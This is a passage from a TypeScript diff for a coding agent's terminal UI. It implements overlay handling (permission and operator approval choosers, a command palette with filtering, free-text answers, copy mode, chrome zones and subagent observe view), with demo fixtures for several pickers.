overlay claims a bare + * key for it (see OVERLAY_EXPAND_KEY) — no global binding is needed because + * the overlay owns the keyboard while it is open. + */ + readonly onToggleExpand?: () => void + /** + * Per-open ← → cycle hook. When set, the overlay claims Left/Right for it + * instead of leaving them unbound — settings-style inline value cycling. + * Scoped to this open only, the way `onToggleExpand` and `typeToFilter` are. + */ + readonly onCycle?: (itemId: string, direction: -1 | 1) => void + /** + * Description-zone source. Called with the focused item's id on every move + * (falling back to its label when no `itemIds` were supplied). Returning + * null renders the zone blank, not collapsed — the fixed two-line zone is + * charged to the row budget whenever this is set, whether or not the current + * item has anything to say. + */ + readonly describe?: (itemId: string) => ItemDescription | null + /** + * Per-open bare-key claim, checked for any key the list's own navigation + * (arrows, expand, accept) leaves unclaimed. Returns true when the key was + * used, so the shell can `preventDefault` it and stop. Scoped to this open + * only — never reachable while no list overlay is open, so it cannot shadow + * prompt typing. + */ + readonly onAction?: (itemId: string, key: KeyEvent) => boolean + /** + * Per-open free-text answer. When set the overlay paints an answer field the + * operator can Tab into and type into, and submitting it closes the overlay + * through this callback instead of the selection path. + */ + readonly onTextAnswer?: (text: string) => void + /** + * Open with the answer field already taking keystrokes. Used when there is + * nothing to choose, so the overlay is never a chooser with an empty list. + */ + readonly textAnswerActive?: boolean +} + +/** + * Open an inset list overlay on the shared host (permissions / operator / picker / palette). + * Measures body + list into geometry — no guessed absolute paint. + */ +export function openListOverlay( + shell: AppShell, + opts?: OpenListOverlayOpts, +): void { + const kind = opts?.kind ?? "demo" + const isPalette = kind === "palette" + + // Single host: non-palette open is a no-op while anything is open. + // Palette may stack over a prior primary (snapshot paint; focus stacks). + if (shell.overlayList) { + if (!isPalette) return + if (shell.overlayKind !== "palette") { + const bag = internals.get(shell) + if (bag) { + bag.priorOverlay = { + kind: shell.overlayKind, + items: shell.overlayItems, + bodyLines: shell.overlayBodyLines, + bodyFgs: shell.overlayBodyFgs, + list: shell.overlayList, + title: String(shell.overlayTitle.content), + paletteCommands: shell.paletteCommands, + itemIds: bag.overlayItemIds, + onAccept: bag.overlayOnAccept, + onToggleExpand: bag.overlayOnToggleExpand, + onCycle: bag.overlayOnCycle, + describe: bag.overlayDescribe, + onAction: bag.overlayOnAction, + answer: bag.overlayAnswer, + titleText: bag.overlayTitleText, + } + } + // Leave prior overlay focus frame; palette will stack above it. + } else { + // Already palette — pop palette frame only so we re-push cleanly. + let guard = 4 + while (guard-- > 0 && focusOwner(shell.focus) === "palette") { + shell.focus = popFocus(shell.focus) + } + } + } + + const labels = opts?.items ?? shell.overlayItems + shell.overlayItems = labels + shell.overlayKind = kind + if (!isPalette) shell.paletteCommands = [] + + const bag = internals.get(shell) + if (bag) { + // Palette open does not own primary accept; leave prior snapshot's callback. + if (!isPalette) { + bag.overlayItemIds = opts?.itemIds ? [...opts.itemIds] : [] + bag.overlayOnAccept = opts?.onAccept ?? null + bag.overlayOnToggleExpand = opts?.onToggleExpand ?? null + bag.overlayOnCycle = opts?.onCycle ?? null + bag.overlayDescribe = opts?.describe ?? null + bag.overlayOnAction = opts?.onAction ?? null + } else if (!bag.priorOverlay) { + // Bare palette (no primary under it): no accept payload. + bag.overlayItemIds = opts?.itemIds ? [...opts.itemIds] : [] + bag.overlayOnAccept = opts?.onAccept ?? null + bag.overlayOnToggleExpand = opts?.onToggleExpand ?? null + bag.overlayOnCycle = opts?.onCycle ?? null + bag.overlayDescribe = opts?.describe ?? null + bag.overlayOnAction = opts?.onAction ?? null + } + if (!isPalette) { + bag.overlayAnswer = + opts?.onTextAnswer === undefined + ? null + : { + text: "", + // With nothing to choose, typing is the only way to answer, so + // the field takes the keys immediately. + active: opts.textAnswerActive ?? labels.length === 0, + onSubmit: opts.onTextAnswer, + } + } + } + + const bodyText = opts?.body ?? "" + // Operator question and permission approval context get body lines; other + // list-only overlays keep the body empty. + applyOverlayBodyText(shell, bodyText, 0) + + // Ask for exactly what the content needs. The resolver caps the request + // against OVERLAY_MAX_FRACTION and the transcript floor, and applyLayout + // shrinks the viewport to whatever survived — so a longer list scrolls + // instead of growing, and a short one leaves no dead rows below it. + const perItem = overlayRowsPerItem(shell.overlayKind) + // An empty list charges no rows: a chooser with nothing to choose must not + // reserve a blank band the operator can neither read nor act on. + const listItems = labels.length + const hostRows = overlayHostRows( + shell, + shell.overlayBodyLines.length, + listItems * perItem, + ) + + shell.overlayList = createListViewport({ + count: labels.length, + height: Math.max(1, listItems), + activeIndex: opts?.activeIndex ?? 0, + }) + + if (bag) bag.overlayTitleText = opts?.title ?? "permission" + refreshOverlayTitle(shell) + + const frameId = opts?.frameId ?? OVERLAY_FRAME_ID + const focusTarget = isPalette ? "palette" : "overlay" + shell.focus = openOverlay(shell.focus, frameId, { + target: focusTarget, + scrollOwner: isPalette ? "palette" : "overlay", + }) + relayout(shell, { overlayMode: "inset", overlayBodyRows: hostRows }) + applyFocus(shell) + paintOverlayList(shell) +} + +/** Open inset permission/palette stub; focus stack owns keys; Esc closes. */ +export function openInsetOverlay( + shell: AppShell, + items?: readonly string[], +): void { + openListOverlay(shell, { + kind: "demo", + title: "permission", + items: items ?? shell.overlayItems, + frameId: OVERLAY_FRAME_ID, + }) +} + +/** Resolve the shell's default palette catalog (injected or residual-only). */ +export function resolvePaletteCatalog(shell: AppShell): readonly PaletteCommand[] { + const bag = internals.get(shell) + const raw = bag?.paletteCatalog + if (raw === null || raw === undefined) return DEFAULT_PALETTE_COMMANDS + return typeof raw === "function" ? raw() : raw +} + +/** + * Replace the shell default palette catalog (host rebinds after registry load). + * Pass null to restore residual-only DEFAULT_PALETTE_COMMANDS. + */ +export function setPaletteCatalog( + shell: AppShell, + catalog: + | readonly PaletteCommand[] + | (() => readonly PaletteCommand[]) + | null, +): void { + const bag = internals.get(shell) + if (bag) bag.paletteCatalog = catalog +} + +/** + * Open Amp-class command palette (Ctrl+O). + * Chord reclaimed from tool-expand — document in interaction contract. + * Catalog: opts.catalog → shell default (injected registry build) → residuals. + */ +export function openPalette( + shell: AppShell, + opts?: { + readonly query?: string + readonly catalog?: readonly PaletteCommand[] + readonly title?: string + /** Claim printable keys for the `>` filter row. Off for the `/` popup. */ + readonly typeToFilter?: boolean + }, +): void { + const title = opts?.title ?? "command palette" + const bag = internals.get(shell) + if (bag) { + bag.paletteFilter = { + query: opts?.query ?? "", + title, + // Slash and other callers pass a pre-narrowed catalog; a bare Ctrl+O open + // re-resolves the shell default so a registry loaded later is picked up. + catalog: opts?.catalog ?? null, + // The `/` popup keeps its query in the prompt and drives its own reopen. + typeToFilter: opts?.typeToFilter ?? false, + } + } + repaintPalette(shell) +} + +/** Palette open state that survives a re-filter. */ +type PaletteFilterState = { + query: string + readonly title: string + readonly catalog: readonly PaletteCommand[] | null + readonly typeToFilter: boolean +} + +/** Re-open the palette against the current filter state (used on every keystroke). */ +function repaintPalette(shell: AppShell): void { + const state = internals.get(shell)?.paletteFilter + if (!state) return + const catalog = state.catalog ?? resolvePaletteCatalog(shell) + const commands = filterPaletteCommands(state.query, catalog) + const labels = + commands.length > 0 ? paletteLabels(commands) : ["(no matches)"] + shell.paletteCommands = commands + openListOverlay(shell, { + kind: "palette", + title: state.title, + items: labels, + // Filter query row, Amp-style: the palette always shows what it filtered on. + body: `> ${state.query}`, + frameId: "command-palette", + }) + shell.overlayTitle.content = paletteTitleLine( + state.title, + overlayInteriorWidth(shell), + ) + paintOverlayList(shell) +} + +/** + * Keys the palette claims while it is open, so the `>` row filters as you type. + * + * Opt-in per open rather than a property of the shared list overlay: every other + * picker (permissions, model, resume, workers, copy) keeps j/k navigation, which + * only the palette has to give up to get its printable keys back. Arrow and page + * keys are never claimed here, so they keep working in every overlay including + * this one. + */ +export function handlePaletteFilterKey( + shell: AppShell, + key: KeyEvent, +): boolean { + const state = internals.get(shell)?.paletteFilter + if (!state?.typeToFilter) return false + if (shell.overlayKind !== "palette" || shell.overlayList === null) return false + if (key.ctrl || key.meta || key.option) return false + + if (key.name === "backspace") { + if (state.query.length === 0) return true + state.query = state.query.slice(0, -1) + repaintPalette(shell) + return true + } + + const seq = typeof key.sequence === "string" ? key.sequence : "" + if (seq.length !== 1 || seq < " ") return false + + state.query += seq + repaintPalette(shell) + return true +} + +/** + * Move the open overlay's free-text field in or out of taking keystrokes. + * Returns false when the overlay offers no such field. + */ +export function setOverlayAnswerActive( + shell: AppShell, + active: boolean, +): boolean { + const answer = overlayAnswerState(shell) + if (answer === null || shell.overlayList === null) return false + if (answer.active === active) return false + answer.active = active + refreshOverlayTitle(shell) + paintOverlayList(shell) + return true +} + +/** + * Esc inside a live answer field means "back to the choices", not "abandon the + * question" — but only when there are choices to go back to. + */ +export function exitOverlayAnswerMode(shell: AppShell): boolean { + const answer = overlayAnswerState(shell) + if (answer === null || !answer.active) return false + if (shell.overlayItems.length === 0) return false + return setOverlayAnswerActive(shell, false) +} + +/** + * Keys the free-text answer field claims while it is taking input. Printable + * characters and backspace edit the answer; Enter submits it and closes the + * overlay through the per-open `onTextAnswer` callback. + */ +export function handleOverlayAnswerKey( + shell: AppShell, + key: KeyEvent, +): boolean { + const answer = overlayAnswerState(shell) + if (answer === null || shell.overlayList === null) return false + + if ( + key.name === "tab" && + !key.ctrl && + !key.meta && + !key.option && + !answer.active + ) { + return setOverlayAnswerActive(shell, true) + } + if (!answer.active) return false + if (key.ctrl || key.meta || key.option) return false + + if (key.name === "return" || key.name === "enter") { + if (answer.text.length === 0) return true + const text = answer.text + const submit = answer.onSubmit + appendStreamRow(shell, { + role: "system", + text: `answered: ${text}`, + meta: "overlay", + }) + closeInsetOverlay(shell) + submit(text) + return true + } + if (key.name === "backspace") { + if (answer.text.length > 0) { + answer.text = answer.text.slice(0, -1) + paintOverlayList(shell) + } + return true + } + + const seq = typeof key.sequence === "string" ? key.sequence : "" + if (seq.length !== 1 || seq < " ") return false + answer.text += seq + paintOverlayList(shell) + return true +} + +/** + * Palette title as a rule broken by the title, left-ish. The overlay host's own + * border is asserted elsewhere to be unbroken box-drawing, so the titled rule is + * a row inside the box rather than text written into the border itself. + */ +function paletteTitleLine(title: string, interior: number): string { + const head = `─ ${title} ` + if (head.length >= interior) return head.slice(0, Math.max(0, interior)) + return head + "─".repeat(interior - head.length) +} + +/** + * Which open surface a chord toggles shut, or null when the chord is not a + * toggling opener. + * + * Only pickers appear here. An opener that performs an action (Ctrl+P attaches + * an image, Ctrl+C interrupts, the expand key expands a row) has nothing to + * toggle, and a decision surface — a permission or operator question — is + * deliberately absent: re-pressing whatever chord happened to be underneath it + * must not count as an answer. Those leave via a choice or Esc. + * + * `@` and `/` are openers too, but they are also characters being typed, so + * pressing them again inserts them rather than closing the popup. + */ +function toggledSurfaceFor(key: KeyEvent): PrimaryOverlayKind | null { + if (key.ctrl && !key.meta && !key.option && (key.name === "o" || key.name === "O")) { + return "palette" + } + if ((key.meta || key.option) && !key.ctrl && (key.name === "c" || key.name === "C")) { + return "copy" + } + if (!key.ctrl && !key.meta && !key.option && key.sequence === "?") { + return "help" + } + return null +} + +/** + * Re-pressing the chord that opened a picker closes it, through the same path + * Esc uses so key claims and focus are unwound identically. + */ +function toggleCloseOpenSurface(shell: AppShell, key: KeyEvent): boolean { + if (shell.overlayList === null) return false + const kind = toggledSurfaceFor(key) + if (kind === null || kind !== shell.overlayKind) return false + // The `/` popup borrows the palette overlay; there the chord is still a + // character the operator may be typing into the filter. + if (kind === "palette" && isSlashPopupOpen(shell)) return false + closeInsetOverlay(shell) + return true +} + +/** Close overlay/palette if open; restore prior focus (or prior overlay under palette). */ +export function closeInsetOverlay(shell: AppShell): void { + if (!shell.overlayList) return + // Esc (or any other dismiss) must also drop the `/` and `@` popups' key claim. + slashPopups.delete(shell) + mentionPopups.delete(shell) + + const wasPalette = shell.overlayKind === "palette" + if (wasPalette) { + const filterBag = internals.get(shell) + if (filterBag) filterBag.paletteFilter = null + } + const bag = internals.get(shell) + const prior = wasPalette ? bag?.priorOverlay ?? null : null + + shell.overlayList = null + shell.overlayKind = null + shell.overlayBodyLines = [] + shell.overlayBodyFgs = [] + shell.paletteCommands = [] + shell.copyTargets = null + clearOverlayBody(shell) + // Esc / dismiss: drop accept path without invoking callbacks. + if (bag && !prior) { + bag.overlayItemIds = [] + bag.overlayOnAccept = null + bag.overlayOnToggleExpand = null + bag.overlayOnCycle = null + bag.overlayDescribe = null + bag.overlayOnAction = null + bag.overlayAnswer = null + } + + // Pop exactly one frame (palette or overlay). + if ( + focusOwner(shell.focus) === "overlay" || + focusOwner(shell.focus) === "palette" + ) { + shell.focus = popFocus(shell.focus) + } + + if (prior && bag) { + bag.priorOverlay = null + // Restore prior primary overlay paint; focus should already be overlay. + shell.overlayItems = prior.items + shell.overlayKind = prior.kind + shell.overlayBodyLines = prior.bodyLines + shell.overlayBodyFgs = prior.bodyFgs + shell.overlayList = prior.list + shell.paletteCommands = prior.paletteCommands + shell.overlayTitle.content = prior.title + bag.overlayItemIds = prior.itemIds + bag.overlayOnAccept = prior.onAccept + bag.overlayOnToggleExpand = prior.onToggleExpand + bag.overlayOnCycle = prior.onCycle + bag.overlayDescribe = prior.describe + bag.overlayOnAction = prior.onAction + bag.overlayAnswer = prior.answer + bag.overlayTitleText = prior.titleText + // If focus was not stacked (edge case), re-open overlay frame. + if (focusOwner(shell.focus) !== "overlay") { + shell.focus = openOverlay(shell.focus, OVERLAY_FRAME_ID, { + target: "overlay", + scrollOwner: "overlay", + }) + } + const listH = prior.list.height + const hostRows = overlayHostRows(shell, prior.bodyLines.length, listH) + relayout(shell, { overlayMode: "inset", overlayBodyRows: hostRows }) + applyFocus(shell) + paintOverlayList(shell) + return + } + + // Ensure no leftover overlay/palette frames. + let guard = 4 + while ( + guard-- > 0 && + (focusOwner(shell.focus) === "overlay" || + focusOwner(shell.focus) === "palette") + ) { + shell.focus = popFocus(shell.focus) + } + + relayout(shell, { overlayMode: "closed" }) + applyFocus(shell) + notifyOverlayClosed(shell) +} + +/** + * Subscribe to "the shell now has no overlay open". The single overlay host + * drops any open request that arrives while it is busy, so callers that must + * not lose one (gate wiring) queue on this instead. + */ +export function onOverlayClosed( + shell: AppShell, + listener: () => void, +): () => void { + const bag = internals.get(shell) + if (!bag) return () => undefined + bag.overlayClosedListeners.add(listener) + return () => { + bag.overlayClosedListeners.delete(listener) + } +} + +function notifyOverlayClosed(shell: AppShell): void { + const bag = internals.get(shell) + if (!bag) return + // Copied: a listener may re-open an overlay and unsubscribe mid-iteration. + for (const listener of [...bag.overlayClosedListeners]) listener() +} + + +/** + * Bare key the modal overlay claims for its expand/collapse hook. Deliberately + * not in SHELL_SHORTCUTS: it is live only while an overlay that supplied + * `onToggleExpand` is open, so it never shadows a prompt binding. + */ +export const OVERLAY_EXPAND_KEY = EXPAND_KEY + +/** + * Expand or collapse every transcript row that hides a body behind a summary: + * loaded skills, summarised tool calls, settled reasoning. Same key as the + * overlay's collapsed payloads, so the product has one expand idiom. + * + * All-or-nothing rather than one row at a time: with several collapsed rows on + * screen, expanding the newest and leaving the rest reads as the key having + * missed. Any row still collapsed means the whole set opens; only once nothing + * is left to open does the key close them again. + * + * False when no row on the log can expand at all. + */ +/** + * Expand or collapse exactly one transcript row — what a click on its arrow + * means. The key stays bulk (see `toggleCollapsedRow`): a pointer says *this + * one*, a key with nothing under it can only mean all of them. + * + * False when that row hides nothing. + */ +export function toggleRowExpandedAt(shell: AppShell, index: number): boolean { + const row = shell.streamLog[index] + if (row === undefined || !isCollapsibleRow(row)) return false + replaceStreamRowAt(shell, index, { ...row, expanded: row.expanded !== true }) + return true +} + +export function toggleCollapsedRow(shell: AppShell): boolean { + const collapsible = shell.streamLog.flatMap((row, index) => + row !== undefined && isCollapsibleRow(row) ? [{ row, index }] : [], + ) + if (collapsible.length === 0) return false + const expand = collapsible.some(({ row }) => row.expanded !== true) + for (const { row, index } of collapsible) { + if ((row.expanded === true) === expand) continue + replaceStreamRowAt(shell, index, { ...row, expanded: expand }) + } + return true +} + +/** Replace the open overlay's body text in place (re-wrap + relayout). */ +export function setOverlayBody( + shell: AppShell, + text: string, + maxLines = 8, +): void { + if (!shell.overlayList) return + applyOverlayBodyText(shell, text, maxLines) + // Ask for the whole list again, not the height it currently has: a body that + // shrank should hand its rows back to the choices rather than leave the + // viewport stuck at the size an earlier, taller body forced it to. + const hostRows = overlayHostRows( + shell, + shell.overlayBodyLines.length, + Math.max(1, shell.overlayItems.length) * + overlayRowsPerItem(shell.overlayKind), + ) + relayout(shell, { overlayMode: "inset", overlayBodyRows: hostRows }) + paintOverlayList(shell) +} + +/** + * Replace the open overlay's item labels (and optionally ids) in place, + * keeping the active row's position. Cycling a value redraws the row it + * changed rather than closing and reopening the overlay, which would lose + * the cursor and retrigger the open animation for a one-key edit. + */ +export function setOverlayItems( + shell: AppShell, + items: readonly string[], + itemIds?: readonly string[], +): void { + if (!shell.overlayList) return + shell.overlayItems = items + const bag = internals.get(shell) + if (bag && itemIds) bag.overlayItemIds = [...itemIds] + shell.overlayList = setListCount(shell.overlayList, items.length) + paintOverlayList(shell) +} + +/** Run the open overlay's expand/collapse hook; true when one was bound. */ +export function toggleOverlayExpand(shell: AppShell): boolean { + if (!shell.overlayList) return false + const hook = internals.get(shell)?.overlayOnToggleExpand ?? null + if (!hook) return false + hook() + return true +} + +/** Move overlay selection (j/k / arrows). */ +export function moveOverlaySelection(shell: AppShell, delta: number): void { + if (!shell.overlayList) return + shell.overlayList = moveActive(shell.overlayList, delta) + paintOverlayList(shell) +} + +/** + * Cycle the focused row's value in place, for overlays that opted in via + * `onCycle` (settings inline cycling). No-op when the open overlay did not + * supply a cycle hook, so Left/Right stay unclaimed everywhere else. + */ +export function cycleOverlaySelection(shell: AppShell, direction: -1 | 1): boolean { + const list = shell.overlayList + if (!list) return false + const onCycle = internals.get(shell)?.overlayOnCycle + if (!onCycle) return false + onCycle(activeOverlayItemId(shell, list), direction) + return true +} + +/** + * Run the open overlay's bare-key claim, for overlays that opted in via + * `onAction`. No-op when the open overlay did not supply one, so the key + * falls through unclaimed everywhere else. + */ +export function runOverlayAction(shell: AppShell, key: KeyEvent): boolean { + const list = shell.overlayList + if (!list) return false + const onAction = internals.get(shell)?.overlayOnAction + if (!onAction) return false + return onAction(activeOverlayItemId(shell, list), key) +} + +/** Page overlay selection (PgUp/PgDn). */ +export function pageOverlaySelection(shell: AppShell, dir: -1 | 1): void { + if (!shell.overlayList) return + shell.overlayList = pageList(shell.overlayList, dir) + paintOverlayList(shell) +} + +/** Accept active overlay item → callback + system line + close (palette dispatches action). */ +export function acceptOverlaySelection(shell: AppShell): void { + if (!shell.overlayList) return + + if (shell.overlayKind === "copy") { + confirmCopySelection(shell) + return + } + // Nothing to choose: Enter must not synthesize a phantom row and resolve the + // gate with it. The answer field (when offered) already claimed Enter. + if (shell.overlayItems.length === 0) return + + const idx = shell.overlayList.activeIndex + const label = shell.overlayItems[idx] ?? `item ${idx}` + const kind = shell.overlayKind ?? "demo" + + if (kind === "palette") { + const cmd = shell.paletteCommands[idx] + closeInsetOverlay(shell) + if (cmd) dispatchPaletteSelection(shell, cmd) + else { + appendStreamRow(shell, { + role: "system", + text: `palette: no action for ${label}`, + meta: "palette", + }) + } + return + } + + const bag = internals.get(shell) + const id = bag?.overlayItemIds[idx] + const selection: OverlaySelection = { + kind, + index: idx, + label, + ...(id !== undefined ? { id } : {}), + } + // Capture before close clears per-open state. + const perOpen = bag?.overlayOnAccept ?? null + + appendStreamRow(shell, { + role: "system", + text: `chose (${kind}): ${label}`, + meta: "overlay", + }) + closeInsetOverlay(shell) + dispatchOverlayAccept(shell, selection, perOpen) +} + +/** + * Dispatch a selected palette item after the palette has closed. + * - residual → `runPaletteAction` (overlays / chrome) + * - command → injectable `onCommand(name)` (registry slash path) + */ +export function dispatchPaletteSelection( + shell: AppShell, + cmd: PaletteCommand, +): void { + const dispatch = paletteDispatchOf(cmd) + if (dispatch === "command") { + const onCommand = getPaletteOnCommand(shell) + if (onCommand) { + onCommand(cmd.id) + return + } + appendStreamRow(shell, { + role: "system", + text: `palette: /${cmd.id} (no onCommand handler)`, + meta: "palette", + }) + return + } + if (isResidualActionId(cmd.id)) { + runPaletteAction(shell, cmd.id) + return + } + appendStreamRow(shell, { + role: "system", + text: `palette: unknown residual ${cmd.id}`, + meta: "palette", + }) +} + +/** Run a residual palette action after the palette has closed. */ +export function runPaletteAction( + shell: AppShell, + id: PaletteActionId, +): void { + switch (id) { + case "permissions": { + // Lazy import surface — open via openListOverlay to avoid overlays circular init. + openListOverlay(shell, { + kind: "permissions", + title: "permissions", + items: [ + "Allow once", + "Allow session", + "Always allow this tool", + "Deny", + ...Array.from({ length: 26 }, (_, i) => `Allow tool call #${i + 2}`), + ], + frameId: "permissions", + }) + return + } + case "operator": { + openListOverlay(shell, { + kind: "operator", + title: "operator", + body: + "The agent wants to run a destructive command that may modify your working tree.\n\nProceed with git reset --hard HEAD~1?", + items: [ + "Cancel", + "Allow this once", + "Allow for session", + "Deny and tell agent", + "Open diff first", + "Always ask", + "Skip remaining questions", + "Abort run", + ], + frameId: "operator-question", + }) + return + } + case "model_picker": { + openListOverlay(shell, { + kind: "model_picker", + title: "model / provider", + items: [ + "anthropic / claude-sonnet-4", + "anthropic / claude-opus-4", + "openai / gpt-4.1", + "openai / o3", + "google / gemini-2.5-pro", + "local / ollama", + ], + frameId: "model-picker", + }) + return + } + case "toggle_goal": { + const bag = internals.get(shell) + const on = (bag?.chrome.goal.length ?? 0) > 0 + setChromeZones(shell, { + goal: on ? null : "goal: Wave 6 palette + long-log + chrome", + }) + appendStreamRow(shell, { + role: "system", + text: on ? "goal chrome off" : "goal chrome on", + meta: "chrome", + }) + return + } + case "toggle_task": { + const bag = internals.get(shell) + const on = (bag?.chrome.task.length ?? 0) > 0 + setChromeZones(shell, { + task: on ? null : "task: implement Wave 6 acceptance", + }) + appendStreamRow(shell, { + role: "system", + text: on ? "task chrome off" : "task chrome on", + meta: "chrome", + }) + return + } + case "toggle_agents": { + const bag = internals.get(shell) + const on = (bag?.chrome.agents.length ?? 0) > 0 + setChromeZones(shell, { + agents: on ? null : "agents: 0 running", + }) + appendStreamRow(shell, { + role: "system", + text: on ? "agents strip off" : "agents strip on", + meta: "chrome", + }) + return + } + case "copy_active": { + enterCopyMode(shell) + return + } + case "toggle_mouse": { + toggleMouseCapture(shell) + return + } + case "help": { + openHelpOverlay(shell) + return + } + case "settings": { + openSettingsOverlay(shell) + return + } + case "plugins": { + openPluginsOverlay(shell) + return + } + case "resume": { + openResumeOverlay(shell) + return + } + case "mentions": { + openMentionsOverlay(shell) + return + } + case "observe": { + const onObserveRequest = getPaletteOnObserveRequest(shell) + const session = onObserveRequest + ? onObserveRequest() + : makeObserveFixture() + if (session) enterSubagentObserve(shell, session) + else { + appendStreamRow(shell, { + role: "system", + text: "no subagent session to observe", + meta: "observe", + }) + } + return + } + } +} + +export type ChromeZoneContent = { + readonly goal?: string | null + readonly task?: string | null + readonly agents?: string | null +} + +/** + * Set agents/goal/task chrome zone content (null/empty = hide zone). + * Heights come from geometry resolve — never guessed. + */ +export function setChromeZones( + shell: AppShell, + content: ChromeZoneContent, +): void { + const bag = internals.get(shell) + if (!bag) return + + if (content.goal !== undefined) { + bag.chrome.goal = content.goal ?? "" + } + if (content.task !== undefined) { + bag.chrome.task = content.task ?? "" + } + if (content.agents !== undefined) { + bag.chrome.agents = content.agents ?? "" + } + + const goalOn = bag.chrome.goal.length > 0 + const taskOn = bag.chrome.task.length > 0 + const agentsOn = bag.chrome.agents.length > 0 + + shell.goalText.content = goalOn ? ` ${bag.chrome.goal}` : "" + shell.taskText.content = taskOn ? ` ${bag.chrome.task}` : "" + shell.agentsText.content = agentsOn ? ` ${bag.chrome.agents}` : "" + + // Only a zone appearing or disappearing changes the row budget; retitling a + // zone that is already on must not re-resolve and re-apply the whole layout. + if ( + goalOn === bag.visibility.goal && + taskOn === bag.visibility.task && + agentsOn === bag.visibility.agents + ) { + paintChrome(shell) + return + } + + relayout(shell, { + visibility: { + ...bag.visibility, + goal: goalOn, + task: taskOn, + agents: agentsOn, + }, + overlayMode: bag.overlayMode, + ...(bag.overlayBodyRows !== undefined + ? { overlayBodyRows: bag.overlayBodyRows } + : {}), + }) +} + +/** + * Enter copy mode (Alt+C / palette copy_active): freeze targets from the + * active streamLog, open inset overlay with the last target selected. + * Empty log → status flash only; no stream mutation. + */ +export function enterCopyMode(shell: AppShell): boolean { + // Single host: do not stack copy over another primary overlay. + if (shell.overlayList) return false + + const targets = buildCopyTargets(shell.streamLog) + if (targets.length === 0) { + setStatusFlash(shell, "nothing to copy") + return false + } + + shell.copyTargets = targets + const labels = targets.map((t) => `${t.label}: ${t.preview}`) + openListOverlay(shell, { + kind: "copy", + title: "copy · Enter copies the selected item", + items: labels, + activeIndex: targets.length - 1, + frameId: "copy-mode", + }) + return true +} + +/** Write the frozen target at the active list index; status flash only. */ +export function confirmCopySelection(shell: AppShell): boolean { + const targets = shell.copyTargets + if (!targets || targets.length === 0 || !shell.overlayList) { + setStatusFlash(shell, "nothing to copy") + closeInsetOverlay(shell) + return false + } + const idx = Math.max( + 0, + Math.min(targets.length - 1, shell.overlayList.activeIndex), + ) + const target = targets[idx] + if (!target) { + setStatusFlash(shell, "nothing to copy") + closeInsetOverlay(shell) + return false + } + void shell.clipboard.writeText(target.text) + const preview = + target.text.length > 48 + ? `${target.text.slice(0, 45).replace(/\s+/g, " ")}…` + : target.text + setStatusFlash( + shell, + `Copied ${target.label} (${target.text.length} chars): ${preview}`, + ) + closeInsetOverlay(shell) + return true +} + +/** Copy all frozen targets as markdown; status flash only. */ +export function copyAllTargets(shell: AppShell): boolean { + const targets = shell.copyTargets + if (!targets || targets.length === 0) { + setStatusFlash(shell, "nothing to copy") + if (shell.overlayKind === "copy") closeInsetOverlay(shell) + return false + } + const text = streamLogMarkdown(targets) + void shell.clipboard.writeText(text) + setStatusFlash( + shell, + `Copied all (${targets.length} items, ${text.length} chars)`, + ) + closeInsetOverlay(shell) + return true +} + +/** + * Alt+M: take DEC mouse reporting, or hand it back to the terminal. + * Reporting is off by default so drag-select and the terminal's own copy keep + * working; taking it enables click-to-expand and drag-scroll at that cost. + * Returns the new enabled state, or null when the host exposes no control. + */ +export function toggleMouseCapture(shell: AppShell): boolean | null { + const port = shell.mouseCapture + if (!port) { + setStatusFlash(shell, "mouse reporting is not controllable here") + return null + } + const next = !port.get() + port.set(next) + setStatusFlash( + shell, + next + ? "Mouse captured · click to expand, drag to scroll · Alt+M to select text again" + : "Mouse released · drag to select and copy as usual · Alt+M to click rows", + ) + return next +} + +/** + * Keyboard copy path (Alt+C): open the copy overlay (Ink parity). + * `activeIndex` is ignored — selection lives in the overlay list. + */ +export function copyActiveMessage( + shell: AppShell, + _activeIndex?: number, +): boolean { + return enterCopyMode(shell) +} + +/** + * Enter a child subagent session view. + * Host passes live rows + agent label (`ObserveSession`); fixture via + * `makeObserveFixture()` is only for demo/tests. Esc restores parent lease. + */ +export function enterSubagentObserve( + shell: AppShell, + session: ObserveSession, +): void { + if (shell.observe) { + leaveSubagentObserve(shell) + } + + const seedLines = session.lines.slice() + shell.parentStreamLog = shell.streamLog.slice() + shell.observe = { + sessionId: session.sessionId, + agentId: session.agentId, + description: session.description, + lines: seedLines.slice(), + } + + shell.streamLog = seedLines + shell.lineCount = shell.streamLog.length + repaintTranscriptWindow(shell) + + shell.focus = openObserve(shell.focus, `observe-${session.sessionId}`) + setChromeZones(shell, { + agents: `observe: ${session.agentId} — ${session.description}`, + }) + // Child chrome toast — must not route to parent snapshot. + appendObserveStreamRow(shell, { + role: "system", + text: `Viewing ${session.agentId}: ${session.description}`, + meta: "observe", + }) + applyFocus(shell) +} + +/** Leave observe; restore parent stream + focus lease. */ +export function leaveSubagentObserve(shell: AppShell): void { + if (!shell.observe) return + + const agentId = shell.observe.agentId + shell.observe = null + + if (shell.parentStreamLog) { + shell.streamLog = shell.parentStreamLog + shell.parentStreamLog = null + } + shell.lineCount = shell.streamLog.length + repaintTranscriptWindow(shell) + + let guard = 4 + while (guard-- > 0 && focusOwner(shell.focus) === "observe") { + shell.focus = popFocus(shell.focus) + } + // Drop any observe frames that weren't top. + const frames = shell.focus.frames.filter((f) => f.target !== "observe") + if (frames.length > 0) shell.focus = { frames } + + setChromeZones(shell, { agents: null }) + appendStreamRow(shell, { + role: "system", + text: `left observe (${agentId})`, + meta: "observe", + }) + applyFocus(shell) +} + +/** + * Host-injected residual list open. Fixtures apply only when `items` is omitted. + * Per-open `onAccept` wins over shell-level residual hooks for that open. + */ +export type OpenResidualListOpts = { + readonly items?: readonly string[] + /** Stable ids aligned with `items` (setting keys, session ids, paths). */ + readonly itemIds?: readonly string[] + readonly activeIndex?: number + /** Per-open accept; host binds toggle / resume / mention insert. */ + readonly onAccept?: (selection: OverlaySelection) => void + /** Per-open ← → cycle hook (settings inline value cycling). */ + readonly onCycle?: (itemId: string, direction: -1 | 1) => void + /** Per-open description-zone source. */ + readonly describe?: (itemId: string) => ItemDescription | null +} + +export function openSettingsOverlay( + shell: AppShell, + opts?: OpenResidualListOpts, +): void { + openListOverlay(shell, { + kind: "settings", + title: "settings", + items: opts?.items ?? makeSettingsItems(), + activeIndex: opts?.activeIndex ?? 0, + frameId: "overlay-settings", + ...(opts?.itemIds !== undefined ? { itemIds: opts.itemIds } : {}), + ...(opts?.onAccept !== undefined ? { onAccept: opts.onAccept } : {}), + ...(opts?.onCycle !== undefined ? { onCycle: opts.onCycle } : {}), + ...(opts?.describe !== undefined ? { describe: opts.describe } : {}), + }) +} + +export function openHelpOverlay( + shell: AppShell, + opts?: OpenResidualListOpts, +): void { + openListOverlay(shell, { + kind: "help", + title: "help · keymap", + items: 